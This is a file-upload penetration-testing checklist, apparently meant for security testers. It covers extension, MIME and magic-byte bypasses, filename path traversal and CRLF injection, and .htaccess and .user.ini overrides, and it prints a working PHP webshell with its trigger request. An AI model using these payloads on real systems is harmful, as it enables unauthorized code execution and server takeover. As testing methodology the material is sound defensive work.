Rebuilt from the classic 2022 file upload checklist (extension/MIME/magic-byte bypass era). Merged from PortSwigger, HackTricks, OWASP, PayloadsAllTheThings + the 2023-2026 research: content-sniffing attacks on processing libraries, direct-to-cloud uploads, and AI file ingestion.
How to read: ✅ "success" = your file was accepted, executed, parsed as a dangerous format, or leaked data.
Each check says what to do, the command/payload, and what success looks like. Tools: Burp Upload Scanner (mod0BurpUploadScanner) · Upload_Bypass (sAjibuu) · exiftool · pixload · Burp Collaborator/interact.sh · SecLists (file-upload)
[ ] Map what happens to a file. Client-side check → server accepts → stores → processes (thumbnail, metadata, preview) → serves. The vulnerability is usually NOT at acceptance — it's at processing or serving.
[ ] Fingerprint the processor. Upload a valid image with rich EXIF, download the generated thumbnail, run exiftool thumb.jpg. The Software tag leaks the library (libvips 8.x, ImageMagick 7.x, Pillow 10.x) — each has its own attack surface (§4).
[ ] Find where files land and how they're served. Same origin as the app? Original kept or only re-encoded? Content-Type and Content-Disposition on the response? Directory guessable (/uploads, /media, /static/user/ID)?
[ ] Baseline a legit upload. Save the request, response, and final URL. You need a repeatable "accepted" to compare against, and the URL pattern tells you if names are predictable (§6).
[ ] Is validation client-side only? Intercept and tamper with Burp. Success = anything gets stored. Then everything downstream is yours.
[ ] Automated first pass (cheap wins):text
Upload_Bypass -u <upload_url> -f shell.phtml -c image/jpeg
# + mod0BurpUploadScanner in Proxy for extension/content-type matrix
.php → .phtml, .phar, .php5/.php7, .PhP (case), .php (trailing space), .php. (trailing dot, Windows), .php::DATA (NTFS ADS), .php%00.jpg (PHP < 5.3.4 only), .php.jpg where Apache execs on the leftmost unknown handler..jsp, .jspx. .NET: .aspx, .ashx, .asmx. ASP classic: .asp;.jpg (IIS semicolon truncation, legacy). ColdFusion: .cfm. Also Tomcat PUT → JSP (CVE-2017-12617).image/jpeg with your webshell body. Success = stored, and the server trusts its declared type later (§5).GIF89a or a real PNG/JPEG header (printf '\x89PNG\r\n\x1a\n') to the payload. Success = passes finfo/getimagesize checks while still executing (PHP ignores leading binary).../../shell.php — server saves using client filename), CRLF injection in filename (header injection → reflected XSS on download), 255-char truncation (A×250 + .php.jpg → ext cut at the FS limit), unicode normalization variants (user's own draft — NFC/NFKC confusables for filter evasion)..htaccess (AddType application/x-httpd-php .jpg), .user.ini (auto_prepend_file=shell.jpg, PHP CGI/FPM), web.config (IIS). Success = the server now executes innocuous files..svg, .pdf, .xml, .docx, .tiff contents past the filter — the processing library decides the attack surface, not the extension.<?php system($_GET[0]);?> in any accepted variant. Success = /shell.phtml?0=id returns uid.